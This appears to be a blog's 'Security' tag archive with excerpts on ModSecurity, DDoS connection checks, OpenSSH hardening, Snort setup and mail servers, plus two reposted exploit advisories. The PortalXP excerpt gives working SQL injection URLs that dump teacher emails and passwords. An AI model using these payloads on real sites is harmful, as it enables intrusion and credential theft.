Tag archive for ‘Security’

ConfigServer ModSecurity Control

This is an exclusive! and free! add-on product for cPanel/WHM. The product provides you with an interface to the cPanel mod_security implementation from within WHM. With ConfigServer ModSecurity Control you can: Disable mod_security rules that have unique ID numbers on a global, per cPanel user or per hosted domain level Disable mod_security entirely, also on [...]

Quick check for a ddos via number of connections

A quick and usefull command for checking if a server is under ddos is: netstat -anp |grep ‘tcp\|udp’ | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n That will list the IPs taking the most amount of connections to a server. It is important to remember that the [...]

Top 20 OpenSSH Server Best Security Practices

OpenSSH is the implementation of the SSH protocol. OpenSSH is recommended for remote login, making backups, remote file transfer via scp or sftp, and much more. SSH is perfect to keep confidentiality and integrity for data exchanged between two networks and systems. However, the main advantage is server authentication, through the use of public key [...]

Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities

——————Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities—————————- # # #### # ### ## ### #### #### ### ##### #### #### ### # ### #### ###### ## # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # [...]

Intrusion Detection With BASE And Snort – Part4

BASE web page setup Open your favorite web browser and go to: http://www.example.com/base-1.2.5/setup If all is setup okay you should see the BASE Setup Program page: Click on Continue step 1 of 5: Enter the path to ADODB (/var/www/adodb): click on Submit Query step 2 of 5: Enter the needed info on the next screen: [...]

PortalXP – Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities

############################################################################## [+] PortalXP – Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities [+] Discovered By SirGod [+] http://insecurity-ro.org [+] http://h4cky0u.org ##############################################################################   [+] Download : http://sourceforge.net/projects/portalxp/files/portalxp%20-%20teacher%20edition/Version%201.2/PortalXP1-2.zip/download [+] SQL Injection – PoC’s http://127.0.0.1/calendar.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher– http://127.0.0.1/news.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher– http://127.0.0.1/links.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher– http://127.0.0.1/assignments.php?assignment_id=1+union+all+select+1,2,3,4,concat_ws(0x3a,email,teacherpass),6,7,8,9+from+teacher– ########################################################################################################################################### # milw0rm.com [2009-08-01]

Intrusion Detection With BASE And Snort – Part3

Installing Lets start with: LIBPCAP. Make sure that you are in the directory that you downloaded all files. cd /root/snorttemp cd into the libcap map: cd libpcap-0.9.4 and make / install LIBPCAP: ./configure make make install Next is PCRE. Again, make sure that you are in the directory that you downloaded all files. cd /root/snorttemp [...]

Virtual Users And Domains With Postfix, Courier And MySQL (+ SMTP-AUTH, Quota, SpamAssassin, ClamAV) part1

Virtual Users And Domains With Postfix, Courier And MySQL (+ SMTP-AUTH, Quota, SpamAssassin, ClamAV) Version 1.0 Author: Falko Timme <ft [at] falkotimme [dot] com> Last edited 10/05/2005 This tutorial is Copyright (c) 2005 by Falko Timme. It is derived from a tutorial from Christoph Haas which you can find at http://workaround.org. You are free to [...]

HEUR:Trojan.Script.Iframe

One of my friend asked for help about virus appearing on his sites (mostly WordPress sites).  I checked it out and my Kaspersky Internet Security blocked the pages from loading, so i downloaded the files manually and scanned html with Kaspersky to determine affected files. I noticed that the affected files were PHP and HTML [...]

Finding hosts which opens N+ TCP connections probably a DDoS attack

It is good to learn all the ip addresses which holds N+ tcp connection to your server. For example, if we want to list ip addresses and connection counts of hosts which has 25+ connection right now: netstat -n –tcp –udp –numeric-hosts | \ grep -v 127.0.0.1 | \ awk ‘{if (/(tcp|udp)/) { print $5 [...]

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